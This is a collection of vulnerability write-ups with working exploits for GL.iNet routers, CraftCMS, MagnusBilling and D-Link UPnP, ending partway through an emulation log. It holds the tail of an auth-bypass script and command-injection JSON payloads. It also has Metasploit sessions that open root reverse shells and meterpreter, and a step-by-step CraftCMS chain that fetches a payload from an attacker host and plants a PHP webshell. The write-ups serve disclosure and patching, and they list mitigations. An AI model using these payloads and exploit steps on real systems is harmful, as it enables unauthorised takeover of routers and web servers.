        print('[+] Get challenge and login')
        start = time.time()
        nonce = get_challenge(url+'/rpc')
        if nonce:
                print('[+] nonce: {}'.format(nonce))
                hash_str = username+':'+pw+':'+nonce
                hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest()
                print('[+] hash: {}'.format(hash))
                sid = login(url+'/rpc', username, hash)
                print(f'[+] Time elapsed: {time.time() - start}')
                if sid:
                        print('[+] sid: {}'.format(sid))


if __name__ == '__main__':
        if len(argv) < 2:
                print('Usage: {} <TARGET_URL>'.format(argv[0]))
                exit(1)

        main(argv[1])
# python ./auth-bypass.py http://192.168.8.1
[+] Started GL.iNet - Authentication Bypass exploit
[+] Get challenge and login
[+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt
[+] hash: 01f250624caab2acaf4feb290dd45d33
[+] Time elapsed: 2.650479793548584
[+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e

Mitigation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0
  • MT6000: v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7
  • E750/E750V2, MV1000: v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page

Credits

  • DZONERZY
1
Ratings
Technical Analysis

This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log and get_crash_log functions of the logread module, as well as the upgrade_online function of the upgrade module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.

Attackers can manipulate routers by passing malicious shell commands through the API (v4).

get_system_log function

{
	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"logread",
		"get_system_log",
		{
			"lines": "| echo pawned >/tmp/lines.pawned",
			"module": "| echo pawned >/tmp/module.pawned"
		}
	]
}

get_crash_log function

{
	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"logread",
		"get_crash_log",
		{
			"mode": "| echo pawned >/tmp/mode.pawned",
			"log_number": "| echo pawned >/tmp/log_number.pawned"
		}
	]
}

upgrade_online function

{
	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"upgrade",
		"upgrade_online",
		{
			"url": "| echo pawned >/tmp/url.pawned",
			"sha256": "| echo pawned >/tmp/sha256.pawned",
			"keep_config": "| echo pawned >/tmp/keep_config.pawned",
			"keep_package": "| echo pawned >/tmp/keep_package.pawned"
		}
	]
}

This vulnerability requires post-authentication with a SessionID (SID) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.

I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin.

Module in Action

GL.iNet AR300M16 emulated target

# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan    Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.8.1  Bcast:192.168.8.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:392 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33970 (33.1 KiB)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:427 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:42072 (41.0 KiB)  TX bytes:5068 (4.9 KiB)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:321480 (313.9 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.8.0     0.0.0.0         255.255.255.0   U         0 0          0 br-lan
  • You should now be able to ping the network address 192.168.8.1 from your host and run a nmap command to check the services (HTTP TCP port 80).
  • NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
  • You can change this with: ip a del 192.168.1.2/24 dev tap91_0 and ip a add 192.168.8.2/24 dev tap91_0.
 # ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.2  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::6c06:aff:fefb:ab29  prefixlen 64  scopeid 0x20<link>
        ether 6e:06:0a:fb:ab:29  txqueuelen 1000  (Ethernet)
        RX packets 39  bytes 4692 (4.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50  bytes 4044 (3.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)

You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info

       Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
     Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-10

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Unknown
  DZONERZY

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix Command
      1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    80               yes       The target port (UDP)
  SID                       no        Session ID
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
                                      n all addresses.
  SRVPORT  8080             yes       The local port to listen on.

Payload information:

Description:
  A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
  to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
  interface in the `logread` module.
  This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
  by the attacker.
  However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
  through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
  retrieved without knowing a valid username and password.

  The following GL.iNet network products are vulnerable:
  - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
  - MT6000: v4.5.0 - v4.5.3;
  - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
  - E750/E750V2, MV1000: v4.3.8;
  - and potentially others (just try ;-)

  NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
  when using the Linux Dropper target.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-50445
  https://nvd.nist.gov/vuln/detail/CVE-2023-50919
  https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
  https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
  https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
  https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md


View the full module info with the info -d command.

Scenarios

FirmAE GL.iNet AR300M16 Router Emulation Unix Command – cmd/unix/reverse_netcat

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000

pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit

FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper – linux/mipsbe/meterpreter_reverse_tcp

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > 

You can find the module here in my local repository or as PR 18648 at the Metasploit Github development.

Mitigation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A => v4.0.0 < v4.5.0
  • MT6000 => v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 => v4.3.7
  • E750/E750V2, MV1000 => v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

CVE-2023-50445
AttackerKB article: CVE-2023-50919 by h00die-gr3y
From zero to botnet: GL.iNet going wild by DZONERZY
GL.iNet home page
GL.iNet API 3.x documentation
GL.iNet API 4.x documentation
GL.iNet unauthenticated RCE – h00die-gr3y Metasploit local repository
GL.iNet unauthenticated RCE – Metasploit PR 18648
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

Credits

  • DZONERZY

And to all other good fellows who raised this concern ;–)

1

@ccondon-r7, you are most welcome!
Enjoy your upcoming Christmas and New Year.

2
Ratings
Technical Analysis

CraftCMS is a popular content management system that is widely used and available on the Internet. Unfortunately CraftCMS versions between 4.0.0-RC14.4.14 are exposed by a vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

The vulnerability occurs using a PHP object creation in the \craft\controllers\ConditionsController class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in \GuzzleHttp\Psr7\FnStream. Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.

Well, this is quite a mouth full, so let’s take it step by step…

Let’s first touch the part of PHP Object Creation which is the core of the issue. In this article from ptswarm written by Arseniy Sharoglazov the concept of PHP’s Arbitrary Object Instantiation is very well explained that is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes.

Within CraftCMS versions 4.4.14 and below, this flaw can also be leveraged to run arbitrary code on a vulnerable instance.
In this blog published by Thanh on September 14, the security researchers discovered a PHP object instantiation flaw that resides in the \craft\controllers\ConditionsController class. The beforeAction method was identified and provided the ability to create an arbitrary object.
So far, so good, but you will need to find gadgets that can be used to escalate the object creation into something meaningful, like methods that allow to run code. One of these methods was found in the \GuzzleHttp\Psr7\FnStream class.

public function __destruct()
{
   if (isset($this->_fn_close)) {
       call_user_func($this->_fn_close);
   }
}

with the curl command below, you can trigger this flaw calling the method and executing the phpinfo command.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'

Capturing the response with burpsuite shows that the phpinfo is executed.

Burp response

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Date: Sun, 17 Dec 2023 17:17:41 GMT
Server: nginx
X-Powered-By: Craft CMS
X-Robots-Tag: none

    <!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8"/>

    <title>Invalid Configuration – yii\base\InvalidConfigException</title>

--- SNIP REMOVED CONTENT ---

<h1 class="p">PHP Version 8.1.26</h1>
</td></tr>
</table>
<table>
<tr><td class="e">
     System
    </td>
    <td class="v">
       Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 
     </td>
</tr>
<tr><td class="e">
    Build Date 
  </td>
  <td class="v">
    Nov 24 2023 13:12:14 
  </td>
</tr>
<tr><td class="e">
    Build System 
  </td>
<td class="v">
    Linux 
  </td>
</tr>
<tr><td class="e">
    Server API 
  </td>
<td class="v">
   FPM/FastCGI 
   </td>
</tr>
--- ETC ETC ---

This is pretty cool, but it is quite limited what you can execute.
For instance, PHP system() calls with arguments do not work as well as inline PHP code. We have to find other gadgets that can deliver a full RCE using this flaw.

Let’s go back to the article written by Arseniy Sharoglazov. In the last section of his article, he explains the Imagick Extension and more specific to use this extension in combination with the Magick Scripting Language (MSL) to trigger a full RCE using PHP object instantiation (see section Imagick Extension and RCE #2: VID Scheme).

And surprise, surprise, CraftCMS is using this Imagick Extension which allows us to build a full RCE.

Using the Imagick constructor class in combination with MSL and a VID schema allows you to read and write images. This can be used to build an out of band RCE reading an image file with PHP code from the attacker controlled host and write it back to the CraftCMS host for execution.

Step 1:
Create an MSL file (pawn.msl) that downloads a vulnerable payload from the attacker host and writes it to CraftCMS instance.

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="http://attacker_ip:8000/vuln.png" />
 <write filename="/var/www/html/web/shell.php" />
</image>

Step 2:
Create the vuln.png by adding PHP code to a small PNG image and host it on the attacker machine

exiftool -comment="<?php phpinfo(); ?>" vuln.png
python3 -m http.server 8000

Step 3:
Call the Imagick constructor class to upload the MSL file.
This typically creates a MSL file with a random filename starting with php<random chars> in the /tmp directory on the CraftCMS instance.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -H 'Content-Type: multipart/form-data' -F 'action=conditions/render' -F 'configObject[class]=craft\elements\conditions\ElementCondition' -F 'config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}' -F 'filename=@pawn.msl'

Step 4:
Trigger the MSL file execution using Imagick constructor class again.
You should see the vulnerable PNG getting downloaded from the attacker machine and copied to shell.php on the CraftCMS instance.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'

Step 5:
Run the vulnerable shell code (shell.php) and you should see the phpinfo back in the response.

curl -k "https://craftcms-vuln.ddev.site/shell.php" -x localhost:8080 --output -

And things get even better, because you can avoid the out of band download by using caption: and info: schemes. The combination of both allows to create a web shell in one go using the MSL syntax below.

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php phpinfo(); ?&gt;" />
 <write filename="info:/var/www/html/web/shell.php" />
</image>

I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching a PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.
You can find the module here in my local repository or as PR 18612 at the Metasploit Github development.

Mitigation

You should update your CraftCMS application to the latest version or at least to 4.4.15.

References

CVE-2023-41892
CraftCMS RCE analysis
CraftCMS Advisory
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
CraftCMS Unauthenticated RCE – h00die-gr3y Metasploit local repository
CraftCMS Unauthenticated RCE – Metasploit PR 18612
CraftCMS Installation
CraftCMS downloading previous versions

Credits

  • thanhc - https://substack.com/@thanhc discovery of the vulnerability
  • Arseniy Sharoglazov - https://swarm.ptsecurity.com/author/arseniy-sharoglazov/
  • chybeta - https://github.com/chybeta
1
Ratings
Technical Analysis

MagnusBilling is an open source tool written in PHP and JAVASCRIPT, using the EXTJS 6 and YII FRAMEWORK frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.

Unfortunately a command injection vulnerability exists in MagnusBilling versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php, with a call to exec() at line 753. The parameter to exec() includes the GET parameter democ, which is controlled by the user.

if (isset($_GET['demo'])) {

    if ($_GET['demo'] == 1) {
        exec("touch idepay_proccess.php");
    } else {
        exec("rm -rf idepay_proccess.php");
    }
}
if (isset($_GET['democ'])) {
    if (strlen($_GET['democ']) > 5) {
/** begin vulnerable code **/
        exec("touch " . $_GET['democ'] . '.txt');
/** end vulnerable code **/
    } else {
        exec("rm -rf *.txt");
    }
}

An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data or asterisk. At a minimum, this allows an attacker to compromise the billing system and its database.

You can simply test the vulnerability launching a curl request issuing a blind command injection using a sleep command, lets say 15 seconds.
Curl will take approximately 15 seconds to return if the target is vulnerable.

curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'

A shodan search with dork http.html:"magnusbilling" still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.

I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.

Module in action

msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info

       Name: Magnusbilling application unauthenticated Remote Command Execution.
     Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-26

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Eldstal

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting         Required  Description
  ----       ---------------         --------  -----------
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics
                                               /using-metasploit.html
  RPORT      80                      yes       The target port (TCP)
  SSL        false                   no        Negotiate SSL/TLS for outgoing connections
  SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /mbilling               yes       The MagnusBilling endpoint URL
  URIPATH                            no        The URI to use for this exploit (default is random)
  VHOST                              no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local ma
                                      chine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.


  When TARGET is 0:

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  WEBSHELL                   no        The name of the webshell with extension. Webshell name will be randomly generated if left
                                       unset.

Payload information:

Description:
  A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows
  remote attackers to run arbitrary commands via unauthenticated HTTP request.
  A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().
  The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and
  not properly sanitised/escaped.
  After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.
  The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.
  At a minimum, this allows an attacker to compromise the billing system and its database.

  The following magnusbilling applications are vulnerable:
  - Magnusbilling application version 6 (all versions);
  - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-30258
  https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
  https://eldstal.se/advisories/230327-magnusbilling.html


View the full module info with the info -d command.

Example using the PHP target option

msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31
rhosts => 192.168.201.31
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.31:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 5 seconds.
[*] Elapsed time: 5.1 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.31
[+] Deleted LfsCVIttNL.php
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000

meterpreter > getuid
Server username: asterisk
meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
Meterpreter : php/linux
meterpreter >

You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.

Mitigation

You should update your MagnusBilling application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php under the mbilling directory at your web server root.

References

CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6

Credits

  • eldstal.se discovery of the vulnerability
2
Ratings
Technical Analysis

This vulnerability is based on an old theme that was discovered in 2013 by Zach Cutlip and explained in his blog The Shadow File. It is based on the infamous UPnP attack where a command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform a remote command execution by injecting the payload into the Search Target (ST) field of the SSDP M-SEARCH discover packet.

What triggered my interest is the fact that 10 years after the discovery, this vulnerability still exists and is alive and kicking. Running a Shodan search title:"d-link" shows around 80.000 D-Link devices from which a considerable amount of devices are still vulnerable. Fortunately, this attack can only performed as a LAN based attack because the UPnP discovery service running on port 1900 is typically not exposed to Public Internet.

Besides the DIR-600 model, multiple other D-Link devices have the same vulnerability. I did some extensive testing with FirmAE to simulate and test different D-Link devices and found a comprehensive list of devices that are vulnerable:

  • D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
  • D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
  • D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
  • D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
  • D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
  • D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
  • D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
  • D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
  • D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
  • D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
  • D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
  • D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
  • D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
  • D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
  • D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
  • D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
  • D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
  • D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
  • D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
  • D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
  • D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
  • D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
  • D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
  • probably more looking at the scale of impacted devices :–(

In Metasploit, several modules are available to exploit this vulnerability, but unfortunately they all lack good check logic to determine if a D-Link device is vulnerable. Another limitation is that these modules only cover a part of the vulnerable devices during the exploit phase due to the fact that not all architectures are supported (mipsbe, mipsle and armle).

To overcome these limitations, I created a new module that has an enhanced check method that determines the D-Link device model, firmware information and architecture to determine if the device is vulnerable. Also I extended the exploit part to cover the missing armle architecture using the Linux Dropper target and I included a Unix Command target that leverages the busybox telnetd payload.

Module in Action

D-Link DIR-600 emulated target

# ./run.sh -d d-link /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin
[*] /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 25
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[+] Run debug!
Creating TAP device tap25_0...
Set 'tap25_0' persistent and owned by uid 0
Initializing VLAN...
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943
